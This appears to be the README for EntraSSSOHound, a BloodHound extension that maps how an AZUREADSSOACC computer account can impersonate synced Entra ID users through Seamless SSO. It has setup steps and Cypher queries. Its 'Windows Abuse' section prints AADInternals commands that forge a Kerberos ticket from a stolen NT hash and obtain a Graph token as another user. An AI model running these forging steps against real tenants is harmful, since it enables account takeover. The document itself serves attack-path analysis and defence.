- Overview
- SSSO Overview
- Collected Data
- Nodes and Edges
- Usage
- Useful Queries
- Windows Abuse
- Known Issues
- References
Entra ID Seamless Single Sign-On (Seamless SSO) is a feature that non-interactively signs users into cloud applications whenever they are connected to Active Directory. EntraSSSOHound extends BloodHound CE with OpenGraph-format coverage, modeling how Active Directory computers can compromise synced Entra ID users through the trust established between the trusted on-premises computer and Entra ID.
Entra ID Seamless Single Sign-On (Seamless SSO) is a feature that automatically signs users into both on-premises and cloud-based applications when they are connected to the corporate network. It works by leveraging the user’s Active Directory domain credentials without requiring them to re-enter their username and password. When a domain-joined computer communicates with Entra ID, Seamless SSO uses a Kerberos ticket from the on-premises Active Directory to authenticate the user transparently. This reduces friction for end users while still ensuring secure authentication across hybrid environments.
From an administrative perspective, Seamless SSO is lightweight to deploy and does not require additional on-premises infrastructure beyond what is typically needed for Entra Connect. It can be enabled through Entra Connect with just a few configuration steps, and once active, it automatically applies to all users in the tenant. Organizations benefit from improved user experience, fewer password prompts, and stronger security, since users are less likely to resort to insecure password practices. It is especially effective in hybrid identity setups where companies maintain both on-premises and cloud resources, ensuring consistent access while reducing IT support overhead for login-related issues.
It works by creating a new service account (AZUREADSSOACC) in Active Directory that represents the secure token service in Entra ID. If there are multiple AD forests, each computer account will have its own unique Kerberos decryption key. The password for the service account is synced to Entra ID, and the user will exchange a service ticket for a DesktopSingleSignOn cookie that can be used to obtain an access token for the user.
The provider collector simply checks if Seamless Single Sign On is enabled by getting data from an undocumented API at "https://<tenant_id>.registration.msappproxy.net/register/GetDesktopSsoStatus. The data returned indicates which domains are configured for Seamless Single Sign On. This data is then used in conjunction with BloodHound graph queries to generate new edges.
graph LR
d1(Domain) -- Contains --> u1(User)
d1 -- Contains --> c1(Computer)
u1 -- SyncedToEntraUser --> azu1(AZUser)
azt(AZTenant) -- AZContains --> azu1
c1 == DesktopSSOIdentityTransform ==> azu1
graph LR
%% Nodes
n0["fabrikam.com<br/>(Domain)"]
n1["contoso.com<br/>(Domain)"]
n2["user1<br/>(User)"]
n3["[email protected]<br/>(AZUser)"]
n4["user2<br/>(User)"]
n5["[email protected]<br/>(AZUser)"]
n6["[email protected]<br/>(AZUser)"]
n7["user1<br/>(User)"]
n8["[email protected]<br/>(AZUser)"]
n9["AZUREADSSOACC<br/>(Computer)<br/>spn: HTTP/autologon.microsoftazuread-sso.com"]
n10["conglom.onmicrosoft.com<br/>(AZTenant)<br/>SSOEnabled=True<br/>SSOExists=True<br/>SSODomains=fabrikam.com"]
%% Edges (order preserved from input)
n0 -->|Contains| n2
n2 -->|SyncedToEntraUser| n3
n0 -->|Contains| n4
n4 -->|SyncedToEntraUser| n5
n1 -->|Contains| n7
n7 -->|SyncedToEntraUser| n6
n0 -->|Contains| n9
n10 -->|AZContains| n5
n10 -->|AZContains| n3
n10 -->|AZContains| n6
n10 -->|AZContains| n8
n9 -->|DesktopSSOIdentityTransform| n3
n9 -->|DesktopSSOIdentityTransform| n5
n9 -->|DesktopSSOIdentityTransform| n6
This node represents the ability for a computer account to forge a kerberos service ticket to authenticate as the target Entra ID user.
| Property | Value |
|---|---|
| Start node type | Computer |
| End node type | AZUser |
| Transitive | Yes |
There are four requirements for SSSO edges to exist:
- The source node must have a servicePrincipalName of
HTTP/autologon.microsoftazuread-sso.com
-
The source node must be enabled
-
The AZTenant properties are the following:
(Enable: True) AND
(Exists: True) AND
Domains: At least one domain
-
The destination node must have an onPremisesSid property set. This can be inferred with the existence of a “SyncedToADUser” edge, or we can collect and set the property. The current collector checks for the existence of onPremId
Note
The logic for the DesktopSSOIdentityTransform edge implies that a compromised AZUREADSSOACC can compromise ANY synced user. This is correct as it doesn't matter which domain the synced user belongs to.
Create a new virtual environment
python3 -m venv .venv
source .venv/bin/activateInstall requirements
pip install -r requirements.txtCopy the .env.example file to .env
cp .env.example .envGenerate an API key for a BH user and save the values in the appropriate variables in the .env file
BH_URL = "PATH TO YOUR BH INSTANCE"
TOKEN_ID = "ID OF TOKEN FROM THE PREVIOUS STEP"
TOKEN_KEY = "KEY FROM PREVIOUS STEP"You need to obtain a token for the registration endpoint which can be done with the following command. You can use whatever took you want but the resource server must be https://proxy.cloudwebappproxy.net/registerapp and the client must be "cb1056e2-e479-49de-ae31-7812af012ed8".
roadtx auth -c cb1056e2-e479-49de-ae31-7812af012ed8 -r https://proxy.cloudwebappproxy.net/registerapp -u [email protected] --tokens-stdout | jq '.accessToken'
Here is an example of the claims in the access token:
{
...
"aud": "https://proxy.cloudwebappproxy.net/registerapp",
"acr": "1",
"amr": [
"pwd"
],
"appid": "cb1056e2-e479-49de-ae31-7812af012ed8",
"appidacr": "0",
"idtyp": "user",
"scp": "user_impersonation",
...
}Set the token in the .env file
MSAPPPROXY_TOKEN = "eyJY0...."Set the output file to the desired filename.
./collect.py --upload
./collect.py
Once finished, upload the resulting JSON in the BHE admin panel
To verify the collector worked, run the following query in the Cypher query panel in BloodHound:
MATCH p=(:Computer) - [:DesktopSSOIdentityTransform] -> (:AZUser)
RETURN p
Get all of the cross domain accounts that can be abused from a compromised AzureADSSOAcc computer
MATCH p=(c:Computer) - [:DesktopSSOIdentityTransform] -> (:AZUser) - [:SyncedToADUser] -> (a:User)
WHERE c.domain <> a.domain
RETURN p
This step assumes that the NT hash of the AzureADSSO account has already been obtained. In this example, a token is acquired for Microsoft Graph, but any resource server will work as long as the application is supported.
Import-Module AADInternals
$ticket = New-AADIntKerberosTicket -SidString <SID OF TARGET USER> -Hash <NT HASH OF COMPUTER ACCOUNT>
$accessToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $ticket -Domain <DOMAIN OF COMPUTER ACCOUNT>This edge does not take conditional access into account. An Entra ID user may still be subject to other conditions being met (such as multi-factor authentication) before the AzureADSSOAcc can obtain a token for a synced user.
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
https://aadinternals.com/post/on-prem_admin/
https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud